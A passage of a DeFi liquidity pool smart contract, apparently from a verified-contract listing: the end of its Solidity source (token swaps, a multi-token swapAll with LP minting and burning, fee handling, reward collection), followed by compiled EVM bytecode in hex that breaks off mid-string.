bTokenInAmount); require(bTokenOutAmount >= bTokenOutMin, "Returned bTokenAmount < asked"); _transferIn(infoIn, bTokenInAmount); _transferOut(infoOut, bTokenOutAmount, adminFee); emit Swap( msg.sender, bTokenIdxIn, bTokenIdxOut, bTokenInAmount, bTokenOutAmount ); } /* * @dev Swap tokens given all token amounts * The amounts are pre-fee amounts, and the user will provide max fee expected. * Currently, do not support penalty. * @param inOutFlag - 0 means deposit, and 1 means withdraw with highest bit indicating mint/burn lp token * @param lpTokenMintedMinOrBurnedMax - amount of lp token to be minted/burnt * @param maxFee - maximum percentage of fee will be collected for withdrawal * @param amounts - list of unnormalized amounts of each token */ function swapAll( uint256 inOutFlag, uint256 lpTokenMintedMinOrBurnedMax, uint256 maxFee, uint256[] calldata amounts ) external nonReentrantAndUnpaused { // Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance. ( uint256[] memory balances, uint256[] memory infos, uint256 oldTotalBalance ) = _getBalancesAndInfos(); // Make sure _totalBalance = oldTotalBalance = sum(_getBalance()'s) _collectReward(oldTotalBalance); require (amounts.length == balances.length, "swapAll amounts length != ntokens"); uint256 newTotalBalance = 0; uint256 depositAmount = 0; { // avoid stack too deep error uint256[] memory newBalances = new uint256[](balances.length); for (uint256 i = 0; i < balances.length; i++) { uint256 normalizedAmount = _normalizeBalance(infos[i]).mul(amounts[i]); if (((inOutFlag >> i) & 1) == 0) { // In depositAmount = depositAmount.add(normalizedAmount); newBalances[i] = balances[i].add(normalizedAmount); } else { // Out newBalances[i] = balances[i].sub(normalizedAmount); } newTotalBalance = newTotalBalance.add(newBalances[i]); } for (uint256 i = 0; i < balances.length; i++) { // If there is no mint/redeem, and the new total balance >= old one, // then the weight must be non-increasing and thus there is no penalty. if (amounts[i] == 0 && newTotalBalance >= oldTotalBalance) { continue; } /* * Accept the new amount if the following is satisfied * np_i <= max(p_i, w_i) */ if (newBalances[i].mul(W_ONE) <= newTotalBalance.mul(_getSoftWeight(infos[i]))) { continue; } // If no tokens in the pool, only weight contraints will be applied. require( oldTotalBalance != 0 && newBalances[i].mul(oldTotalBalance) <= newTotalBalance.mul(balances[i]), "penalty is not supported in swapAll now" ); } } // Calculate fee rate and mint/burn LP tokens uint256 feeRate = 0; uint256 lpMintedOrBurned = 0; if (newTotalBalance == oldTotalBalance) { // Swap only. No need to burn or mint. lpMintedOrBurned = 0; feeRate = _swapFee; } else if (((inOutFlag >> 255) & 1) == 0) { require (newTotalBalance >= oldTotalBalance, "swapAll mint: new total balance must >= old total balance"); lpMintedOrBurned = newTotalBalance.sub(oldTotalBalance).mul(totalSupply()).div(oldTotalBalance); require(lpMintedOrBurned >= lpTokenMintedMinOrBurnedMax, "LP tokend minted < asked"); feeRate = _swapFee; _mint(msg.sender, lpMintedOrBurned); } else { require (newTotalBalance <= oldTotalBalance, "swapAll redeem: new total balance must <= old total balance"); lpMintedOrBurned = oldTotalBalance.sub(newTotalBalance).mul(totalSupply()).div(oldTotalBalance); require(lpMintedOrBurned <= lpTokenMintedMinOrBurnedMax, "LP tokend burned > offered"); uint256 withdrawAmount = oldTotalBalance - newTotalBalance; /* * The fee is determined by swapAmount * swap_fee + withdrawAmount * withdraw_fee, * where swapAmount = depositAmount if withdrawAmount >= 0. */ feeRate = _swapFee.mul(depositAmount).add(_redeemFee.mul(withdrawAmount)).div(depositAmount.add(withdrawAmount)); _burn(msg.sender, lpMintedOrBurned); } emit SwapAll(msg.sender, amounts, inOutFlag, lpMintedOrBurned); require (feeRate <= maxFee, "swapAll fee is greater than max fee user offered"); for (uint256 i = 0; i < balances.length; i++) { if (amounts[i] == 0) { continue; } if (((inOutFlag >> i) & 1) == 0) { // In _transferIn(infos[i], amounts[i]); } else { // Out (with fee) uint256 fee = amounts[i].mul(feeRate).div(W_ONE); uint256 adminFee = fee.mul(_adminFeePct).div(W_ONE); _transferOut(infos[i], amounts[i].sub(fee), adminFee); } } } /************************************************************************************** * Methods for others *************************************************************************************/ /* @dev Collect admin fee so that _totalBalance == sum(_getBalances()'s) */ function _collectReward(uint256 totalBalance) internal { uint256 oldTotalBalance = _totalBalance; if (totalBalance != oldTotalBalance) { if (totalBalance > oldTotalBalance) { _mint(_rewardCollector, totalSupply().mul(totalBalance - oldTotalBalance).div(oldTotalBalance)); } _totalBalance = totalBalance; } } /* @dev Collect admin fee. Can be called by anyone */ function collectReward() external nonReentrantAndUnpaused { (,,,uint256 totalBalance) = _getBalancesAndWeights(); _collectReward(totalBalance); } function getTokenStats(uint256 bTokenIdx) public view returns (uint256 softWeight, uint256 hardWeight, uint256 balance, uint256 decimals) { require(bTokenIdx < _ntokens, "Backed token is not found!"); uint256 info = _tokenInfos[bTokenIdx]; balance = _getBalance(info).div(_normalizeBalance(info)); softWeight = _getSoftWeight(info); hardWeight = _getHardWeight(info); decimals = ERC20(address(info)).decimals(); } }
0x608060405234801561001057600080fd5b50600436106102955760003560e01c8063715018a611610167578063bb65ccbc116100ce578063daa7ee6911610087578063daa7ee6914610b01578063dd62ed3e14610b1e578063f2fde38b14610b4c578063f4f8cee214610b72578063f68eb81614610b7a578063fabc1cbc14610b8257610295565b8063bb65ccbc14610749578063bbd7f2551461076f578063c58295141461078c578063c7aacf0f146107cf578063d0800fb214610850578063d6a613d21461085857610295565b80639435920011610120578063943592001461068357806395d89b41146106a057806396d53eb8146106a8578063a457c2d7146106ce578063a9059cbb146106fa578063b3e1f0501461072657610295565b8063715018a61461061d5780637bb68be214610625578063832781551461064e57806385c9f85e146106565780638676192b1461065e5780638da5cb5b1461067b57610295565b80633b32a10b1161020b57806353a36013116101c457806353a360131461055157806354c5aee11461057d5780635673b02d14610585578063696c6131146105b45780636f7a0c5a146105d157806370a08231146105f757610295565b80633b32a10b1461047b5780633ee93569146104a757806345cf2ef6146104e05780634810ac1c1461050957806348e3e530146105265780634c2a94cc1461054957610295565b80631c4d65ae1161025d5780631c4d65ae146103b95780631e010439146103d657806323b872dd146103f3578063252f7b4914610429578063313ce56714610431578063395093511461044f57610295565b806302acc94b1461029a57806306fdde03146102c5578063095ea7b314610342578063136439dd1461038257806318160ddd1461039f575b600080fd5b6102c3600480360360608110156102b057600080fd5b5080359060208101359060400135610b9f565b005b6102cd610c9b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103075781810151838201526020016102ef565b50505050905090810190601f1680156103345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61036e6004803603604081101561035857600080fd5b506001600160a01b038135169060200135610cc5565b604080519115158252519081900360200190f35b6102c36004803603602081101561039857600080fd5b5035610ce3565b6103a7610d40565b60408051918252519081900360200190f35b6102c3600480360360208110156103cf57600080fd5b5035610d46565b6103a7600480360360208110156103ec57600080fd5b5035610dad565b61036e6004803603606081101561040957600080fd5b506001600160a01b03813581169160208101359091169060400135610dcd565b6103a7610e55565b610439610e5b565b6040805160ff9092168252519081900360200190f35b61036e6004803603604081101561046557600080fd5b506001600160a01b038135169060200135610e60565b6102c36004803603606081101561049157600080fd5b5060ff8135169060208101359060400135610eae565b6104c4600480360360208110156104bd57600080fd5b5035611046565b604080516001600160a01b039092168252519081900360200190f35b6103a7600480360360608110156104f657600080fd5b5080359060208101359060400135611061565b6102c36004803603602081101561051f57600080fd5b503561108e565b6103a76004803603604081101561053c57600080fd5b5080359060200135611142565b6104c4611158565b6102c36004803603604081101561056757600080fd5b50803590602001356001600160a01b031661116c565b6102c3611441565b6102c36004803603608081101561059b57600080fd5b50803590602081013590604081013590606001356114a0565b6102c3600480360360208110156105ca57600080fd5b50356115d3565b6103a7600480360360208110156105e757600080fd5b50356001600160a01b0316611687565b6103a76004803603602081101561060d57600080fd5b50356001600160a01b0316611699565b6102c36116b4565b6102c36004803603606081101561063b57600080fd5b5080359060208101359060400135611751565b6103a761185f565b6103a7611865565b6103a76004803603602081101561067457600080fd5b503561186b565b6104c461187d565b6102c36004803603602081101561069957600080fd5b50356118a2565b6102cd611956565b6102c3600480360360208110156106be57600080fd5b50356001600160a01b0316611975565b61036e600480360360408110156106e457600080fd5b506001600160a01b0381351690602001356119ef565b61036e6004803603604081101561071057600080fd5b506001600160a01b038135169060200135611a57565b6103a76004803603604081101561073c57600080fd5b5080359060200135611a6b565b6102c36004803603604081101561075f57600080fd5b5060ff8135169060200135611b75565b6103a76004803603602081101561078557600080fd5b5035611c80565b6107a9600480360360208110156107a257600080fd5b5035611c92565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6102c3600480360360808110156107e557600080fd5b81359160208101359160408201359190810190608081016060820135600160201b81111561081257600080fd5b82018360208201111561082457600080fd5b803590602001918460208302840111600160201b8311171561084557600080fd5b509092509050611d8d565b6103a761245a565b6102c3600480360360a081101561086e57600080fd5b810190602081018135600160201b81111561088857600080fd5b82018360208201111561089a57600080fd5b803590602001918460208302840111600160201b831117156108bb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561090a57600080fd5b82018360208201111561091c57600080fd5b803590602001918460208302840111600160201b8311171561093d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561098c57600080fd5b82018360208201111561099e57600080fd5b803590602001918460208302840111600160201b831117156109bf57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a0e57600080fd5b820183602082011115610a2057600080fd5b803590602001918460208302840111600160201b83111715610a4157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a9057600080fd5b820183602082011115610aa257600080fd5b803590602001918460208302840111600160201b83111715610ac357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550612460945050505050565b6102c360048036036020811015610b1757600080fd5b50356128dc565b6103a760048036036040811015610b3457600080fd5b506001600160a01b038135811691602001351661297a565b6102c360048036036020811015610b6257600080fd5b50356001600160a01b03166129a5565b6103a7612a8c565b6103a7612a92565b6102c360048036036020811015610b9857600080fd5b5035612a98565b60026000541415610be15760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b60026000908155610bf28484611a6b565b905081811015610c335760405162461bcd60e51b815260040180806020018281038252602e815260200180615a11602e913960400191505060405180910390fd5b600084815260076020526040902054610c4c9084612af2565b610c563382612b9e565b6040805184815260208101839052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a2505060016000555050565b60408051808201909152601081526f29b6b7b7ba343c902628102a37b5b2b760811b602082015290565b6000610cd9610cd2612c90565b8484612c94565b5060015b92915050565b33610cec61187d565b6001600160a01b031614610d35576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b610d3d612d80565b50565b60035490565b60026000541415610d885760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b6002600090815581815260076020526040902054610da590612d87565b506001600055565b600081815260076020526040812054610dc590613230565b90505b919050565b6000610dda848484613279565b610e4a84610de6612c90565b610e4585604051806060016040528060288152602001615aa8602891396001600160a01b038a16600090815260026020526040812090610e24612c90565b6001600160a01b0316815260208101919091526040016000205491906133d6565b612c94565b5060015b9392505050565b600b5481565b601290565b6000610cd9610e6d612c90565b84610e458560026000610e7e612c90565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061346d565b33610eb761187d565b6001600160a01b031614610f00576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b80821115610f3f5760405162461bcd60e51b815260040180806020018281038252602b81526020018061592b602b913960400191505060405180910390fd5b670de0b6b3a7640000811115610f9c576040805162461bcd60e51b815260206004820152601b60248201527f686172642d6c696d697420776569676874206d757374203c3d20310000000000604482015290519081900360640190fd5b6010548360ff1610610fef576040805162461bcd60e51b81526020600482015260176024820152764261636b656420746f6b656e206e6f742065786973747360481b604482015290519081900360640190fd5b60ff831660009081526007602052604090205461100c90836134c7565b60ff8416600090815260076020526040902081905561102b9082613545565b60ff9093166000908152600760205260409020929092555050565b6008602052600090815260409020546001600160a01b031681565b60008381526007602052604080822054848352908220546110838282866135bd565b509695505050505050565b3361109761187d565b6001600160a01b0316146110e0576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6706f05b59d3b2000081111561113d576040805162461bcd60e51b815260206004820152601a60248201527f41646d696e206665652070637420697320746f6f206c61726765000000000000604482015290519081900360640190fd5b600e55565b600061114e83836137ca565b5090949350505050565b60065461010090046001600160a01b031681565b3361117561187d565b6001600160a01b0316146111be576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6000828152600760209081526040808320546008909252909120546001600160a01b0316156113f0576000838152600860209081526040808320548151631df1ee3f60e21b815291516001600160a01b03909116926377c7b8fc9260048082019391829003018186803b15801561123457600080fd5b505afa158015611248573d6000803e3d6000fd5b505050506040513d602081101561125e57600080fd5b505160008581526008602090815260408083205481516370a0823160e01b8152306004820152915194955092936001600160a01b03909316926370a0823192602480840193919291829003018186803b1580156112ba57600080fd5b505afa1580156112ce573d6000803e3d6000fd5b505050506040513d60208110156112e457600080fd5b5051905060006112f38461391c565b600087815260086020526040808220548151632e1a7d4d60e01b81526004810187905291519394506001600160a01b031692632e1a7d4d9260248084019391929182900301818387803b15801561134957600080fd5b505af115801561135d573d6000803e3d6000fd5b505050506000611376826113708761391c565b906139a2565b9050611394670de0b6b3a764000061138e86866139ff565b90613a58565b8110156113d25760405162461bcd60e51b815260040180806020018281038252602181526020018061597d6021913960400191505060405180910390fd5b6113dc8782613abf565b505050600084815260096020526040812055505b611405816001600160a01b0384161515613b21565b600093845260086020908152604080862080546001600160a01b0319166001600160a01b03969096169590951790945560079052919092205550565b600260005414156114835760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b60026000908155611492613b44565b9350505050610da581613d36565b600260005414156114e25760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b6002600090815584815260076020526040808220548583529082205490918061150c8484886135bd565b9150915084821015611565576040805162461bcd60e51b815260206004820152601d60248201527f52657475726e65642062546f6b656e416d6f756e74203c2061736b6564000000604482015290519081900360640190fd5b61156f8487612af2565b61157a838383613d79565b604080518981526020810189905280820188905260608101849052905133917f49926bbebe8474393f434dfa4f78694c0923efa07d19f2284518bfabd06eb737919081900360800190a250506001600055505050505050565b336115dc61187d565b6001600160a01b031614611625576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6706f05b59d3b20000811115611682576040805162461bcd60e51b815260206004820152601a60248201527f5377617020666565206d75737420697320746f6f206c61726765000000000000604482015290519081900360640190fd5b600c55565b600a6020526000908152604090205481565b6001600160a01b031660009081526001602052604090205490565b336116bd61187d565b6001600160a01b031614611706576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b600061171061187d565b6001600160a01b03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361174f6000613e51565b565b600260005414156117935760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b6002600090815580806117a686866137ca565b925092509250838310156117eb5760405162461bcd60e51b8152600401808060200182810382526022815260200180615bd26022913960400191505060405180910390fd5b6117f482613d36565b6117fe3386613e75565b600086815260076020526040902054611818908483613d79565b6040805184815260208101879052815133927fe5b754fb1abb7f01b499791d0b820ae3b6af3424ac1c59768edb53f4ec31a929928290030190a25050600160005550505050565b600c5481565b60105481565b60076020526000908152604090205481565b7fa7b53796fd2d99cb1f5ae019b54f9e024446c3d12b483f733ccc62ed04eb126a5490565b336118ab61187d565b6001600160a01b0316146118f4576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6706f05b59d3b20000811115611951576040805162461bcd60e51b815260206004820152601760248201527f52656465656d2066656520697320746f6f206c61726765000000000000000000604482015290519081900360640190fd5b600d55565b6040805180820190915260058152641cde5554d160da1b602082015290565b3361197e61187d565b6001600160a01b0316146119c7576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000610cd96119fc612c90565b84610e4585604051806060016040528060258152602001615cb16025913960026000611a26612c90565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906133d6565b6000610cd9611a64612c90565b8484613279565b6000808211611ac1576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b60008381526007602052604090205480611b10576040805162461bcd60e51b815260206004820152601a60248201526000805160206158e5833981519152604482015290519081900360640190fd5b6000611b25611b1e83613f71565b85906139ff565b600b549091506000611b528383611b3b87613230565b611b4488613f87565b611b4d89613f9c565b613fb1565b9050611b6a8261138e611b63610d40565b84906139ff565b979650505050505050565b33611b7e61187d565b6001600160a01b031614611bc7576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6010548260ff1610611c1a576040805162461bcd60e51b81526020600482015260176024820152764261636b656420746f6b656e206e6f742065786973747360481b604482015290519081900360640190fd5b60ff821660009081526007602052604090205480611c436001600160a01b03821633308661419b565b611c5b611c52611b1e84613f71565b600b549061346d565b600b55611c7a33611c75611c6e85613f71565b86906139ff565b612b9e565b50505050565b60096020526000908152604090205481565b6000806000806010548510611cdc576040805162461bcd60e51b815260206004820152601a60248201526000805160206158e5833981519152604482015290519081900360640190fd5b600085815260076020526040902054611d00611cf782613f71565b61138e83613230565b9250611d0b81613f87565b9450611d1681613f9c565b9350806001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5157600080fd5b505afa158015611d65573d6000803e3d6000fd5b505050506040513d6020811015611d7b57600080fd5b50519496939550919360ff1692915050565b60026000541415611dcf5760405162461bcd60e51b8152600401808060200182810382526029815260200180615b186029913960400191505060405180910390fd5b60026000819055506060806000611de46141f5565b925092509250611df381613d36565b82518414611e325760405162461bcd60e51b815260040180806020018281038252602181526020018061584b6021913960400191505060405180910390fd5b6000806060855167ffffffffffffffff81118015611e4f57600080fd5b50604051908082528060200260200182016040528015611e79578160200160208202803683370190505b50905060005b8651811015611f8d576000611ec28a8a84818110611e9957fe5b90506020020135611ebc898581518110611eaf57fe5b6020026020010151613f71565b906139ff565b905060018d831c16611f1d57611ed8848261346d565b9350611f0081898481518110611eea57fe5b602002602001015161346d90919063ffffffff16565b838381518110611f0c57fe5b602002602001018181525050611f5c565b611f4381898481518110611f2d57fe5b60200260200101516139a290919063ffffffff16565b838381518110611f4f57fe5b6020026020010181815250505b611f82838381518110611f6b57fe5b60200260200101518661346d90919063ffffffff16565b945050600101611e7f565b5060005b86518110156120a357888882818110611fa657fe5b905060200201356000148015611fbc5750848410155b15611fc65761209b565b611fe5611b1e878381518110611fd857fe5b6020026020010151613f87565b612013670de0b6b3a7640000848481518110611ffd57fe5b60200260200101516139ff90919063ffffffff16565b1161201d5761209b565b8415801590612060575061204d87828151811061203657fe5b6020026020010151856139ff90919063ffffffff16565b61205d86848481518110611ffd57fe5b11155b61209b5760405162461bcd60e51b81526004018080602001828103825260278152602001806159566027913960400191505060405180910390fd5b600101611f91565b5050600080848414156120bc575050600c546000612279565b60ff8c901c61218857848410156121045760405162461bcd60e51b81526004018080602001828103825260398152602001806157ca6039913960400191505060405180910390fd5b61211d8561138e612113610d40565b611ebc888a6139a2565b90508a811015612174576040805162461bcd60e51b815260206004820152601860248201527f4c5020746f6b656e64206d696e746564203c2061736b65640000000000000000604482015290519081900360640190fd5b600c5491506121833382612b9e565b612279565b848411156121c75760405162461bcd60e51b815260040180806020018281038252603b815260200180615c1e603b913960400191505060405180910390fd5b6121e08561138e6121d6610d40565b611ebc89896139a2565b90508a811115612237576040805162461bcd60e51b815260206004820152601a60248201527f4c5020746f6b656e64206275726e6564203e206f666665726564000000000000604482015290519081900360640190fd5b83850361226b612247858361346d565b600d5461138e9061225890856139ff565b600c5461226590896139ff565b9061346d565b92506122773383613e75565b505b336001600160a01b03167f80e468c98336867dc7a26ec846e28a60c2a0135a509fc3fd98883431fa2d23dc8a8a8f8560405180806020018481526020018381526020018281038252868682818152602001925060200280828437600083820152604051601f909101601f191690920182900397509095505050505050a2898211156123355760405162461bcd60e51b81526004018080602001828103825260308152602001806158926030913960400191505060405180910390fd5b60005b87518110156124465789898281811061234d57fe5b90506020020135600014156123615761243e565b60018d821c1661239f5761239a87828151811061237a57fe5b60200260200101518b8b8481811061238e57fe5b90506020020135612af2565b61243e565b60006123d2670de0b6b3a764000061138e868e8e878181106123bd57fe5b905060200201356139ff90919063ffffffff16565b905060006123f7670de0b6b3a764000061138e600e54856139ff90919063ffffffff16565b905061243b89848151811061240857fe5b6020026020010151612435848f8f8881811061242057fe5b905060200201356139a290919063ffffffff16565b83613d79565b50505b600101612338565b505060016000555050505050505050505050565b600e5481565b3361246961187d565b6001600160a01b0316146124b2576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b83518551146124f25760405162461bcd60e51b815260040180806020018281038252602c8152602001806159e5602c913960400191505060405180910390fd5b82518551146125325760405162461bcd60e51b81526004018080602001828103825260338152602001806157746033913960400191505060405180910390fd5b8051855114612581576040805162461bcd60e51b815260206004820152601660248201527534b731b7b93932b1ba103430b932103bba17103632b760511b604482015290519081900360640190fd5b81518551146125d0576040805162461bcd60e51b815260206004820152601660248201527534b731b7b93932b1ba1039b7b33a103bba17103632b760511b604482015290519081900360640190fd5b60005b85518160ff1610156128c357600a6000878360ff16815181106125f257fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054600014612665576040805162461bcd60e51b81526020600482015260136024820152721d1bdad95b88185b1c9958591e481859191959606a1b604482015290519081900360640190fd5b6001600a6000888460ff168151811061267a57fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055506000868260ff16815181106126b757fe5b60200260200101516001600160a01b03169050838260ff16815181106126d957fe5b6020026020010151838360ff16815181106126f057fe5b6020026020010151101561274b576040805162461bcd60e51b815260206004820152601960248201527f686172642077742e206d757374203e3d20736f66742077742e00000000000000604482015290519081900360640190fd5b670de0b6b3a7640000838360ff168151811061276357fe5b602002602001015111156127b6576040805162461bcd60e51b81526020600482015260156024820152740d0c2e4c840eee85c40daeae6e840787a4062ca627605b1b604482015290519081900360640190fd5b6127d681848460ff16815181106127c957fe5b6020026020010151613545565b90506127f881858460ff16815181106127eb57fe5b60200260200101516134c7565b905061281a81868460ff168151811061280d57fe5b602002602001015161439e565b60105490915060ff83160161282f8282614407565b9150868360ff168151811061284057fe5b602090810291909101810151600083815260089092526040822080546001600160a01b0319166001600160a01b039092169190911790558751889060ff861690811061288857fe5b60200260200101516001600160a01b0316146128ac576128a9826001613b21565b91505b6000908152600760205260409020556001016125d3565b5084516010546128d29161346d565b6010555050505050565b336128e561187d565b6001600160a01b03161461292e576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6706f05b59d3b200008111156129755760405162461bcd60e51b81526004018080602001828103825260238152602001806158c26023913960400191505060405180910390fd5b600f55565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b336129ae61187d565b6001600160a01b0316146129f7576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b6001600160a01b038116612a3c5760405162461bcd60e51b81526004018080602001828103825260268152602001806158036026913960400191505060405180910390fd5b806001600160a01b0316612a4e61187d565b6001600160a01b03167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3610d3d81613e51565b600d5481565b600f5481565b33612aa161187d565b6001600160a01b031614612aea576040805162461bcd60e51b81526020600482018190526024820152600080516020615ad0833981519152604482015290519081900360640190fd5b610d3d6144ac565b6000612b07612b0084613f71565b83906139ff565b9050612b1e6001600160a01b03841633308561419b565b600b54612b2b908261346d565b600b55612b37836144b3565b15612b99576000612b47846144bf565b90506000612b548561391c565b9050612b86600a61138e6002611ebc60096000888152602001908152602001600020548661346d90919063ffffffff16565b811115612b9657612b9685612d87565b50505b505050565b6001600160a01b038216612bf9576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b612c0560008383612b99565b600354612c12908261346d565b6003556001600160a01b038216600090815260016020526040902054612c38908261346d565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b3390565b6001600160a01b038316612cd95760405162461bcd60e51b8152600401808060200182810382526024815260200180615bae6024913960400191505060405180910390fd5b6001600160a01b038216612d1e5760405162461bcd60e51b81526004018080602001828103825260228152602001806158296022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6002600055565b612d90816144b3565b612dcb5760405162461bcd60e51b8152600401808060200182810382526026815260200180615a3f6026913960400191505060405180910390fd5b6000806000612dd9846144c8565b919450925090506000612deb856144bf565b9050612e0281612dfd611b1e88613f71565b613abf565b6000612e13600a61138e858761346d565b905080841115613017576000612e2985836139a2565b600084815260086020526040812054919250612e53916001600160a01b038a811692911690614674565b600083815260086020526040902054612e79906001600160a01b03898116911683614674565b6000876001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612ec857600080fd5b505afa158015612edc573d6000803e3d6000fd5b505050506040513d6020811015612ef257600080fd5b505160008581526008602052604080822054815163b6b55f2560e01b81526004810187905291519394506001600160a01b03169263b6b55f259260248084019391929182900301818387803b158015612f4a57600080fd5b505af1158015612f5e573d6000803e3d6000fd5b505050506000612fe7896001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015612fb457600080fd5b505afa158015612fc8573d6000803e3d6000fd5b505050506040513d6020811015612fde57600080fd5b505183906139a2565b9050612fff612ff58a613f71565b611ebc888461346d565b60008681526009602052604090205550613228915050565b600061302382866139a2565b90508061303557505050505050610d3d565b6000876001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561308457600080fd5b505afa158015613098573d6000803e3d6000fd5b505050506040513d60208110156130ae57600080fd5b50516000858152600860205260409020549091506001600160a01b0316632e1a7d4d6130eb60016122658b61138e88670de0b6b3a76400006139ff565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561312157600080fd5b505af1158015613135573d6000803e3d6000fd5b5050505060006131be828a6001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561318c57600080fd5b505afa1580156131a0573d6000803e3d6000fd5b505050506040513d60208110156131b657600080fd5b5051906139a2565b9050828110156131ff5760405162461bcd60e51b8152600401808060200182810382526027815260200180615b416027913960400191505060405180910390fd5b61321561320b8a613f71565b611ebc88846139a2565b6000868152600960205260409020555050505b505050505050565b600061323b8261391c565b9050613246826144b3565b15610dc857610dc56009600061325b856144bf565b8152602001908152602001600020548261346d90919063ffffffff16565b6001600160a01b0383166132be5760405162461bcd60e51b8152600401808060200182810382526025815260200180615b896025913960400191505060405180910390fd5b6001600160a01b0382166133035760405162461bcd60e51b815260040180806020018281038252602381526020018061572f6023913960400191505060405180910390fd5b61330e838383612b99565b61334b8160405180606001604052806026815260200161586c602691396001600160a01b03861660009081526001602052604090205491906133d6565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461337a908261346d565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156134655760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561342a578181015183820152602001613412565b50505050905090810190601f1680156134575780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610e4e576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000670de0b6b3a7640000821115613526576040805162461bcd60e51b815260206004820152601860248201527f736f667420776569676874206d757374203c3d20316531380000000000000000604482015290519081900360640190fd5b50620fffff60a01b19821660a064e8d4a51000835b04901b1792915050565b6000670de0b6b3a76400008211156135a4576040805162461bcd60e51b815260206004820152601860248201527f6861726420776569676874206d757374203c3d20316531380000000000000000604482015290519081900360640190fd5b50620fffff60b41b19821660b464e8d4a510008361353b565b60008060008311613615576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b84613655576040805162461bcd60e51b815260206004820152601a60248201526000805160206158e5833981519152604482015290519081900360640190fd5b83613695576040805162461bcd60e51b815260206004820152601a60248201526000805160206158e5833981519152604482015290519081900360640190fd5b838514156136d45760405162461bcd60e51b8152600401808060200182810382526022815260200180615a656022913960400191505060405180910390fd5b600b5460006136e287613230565b90506000806136f089613f87565b905060006136fd8a613f9c565b9050600061371461370d8c613f71565b8a906139ff565b90506137238187878686613fb1565b935061372f868261346d565b955061373b858261346d565b94505060006137498a613230565b90506137656137578b613f71565b61138e838989898989614787565b9750600061378a670de0b6b3a764000061138e600c548c6139ff90919063ffffffff16565b90506137ad670de0b6b3a764000061138e600e54846139ff90919063ffffffff16565b97506137b989826139a2565b985050505050505050935093915050565b6000806000808411613823576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e7420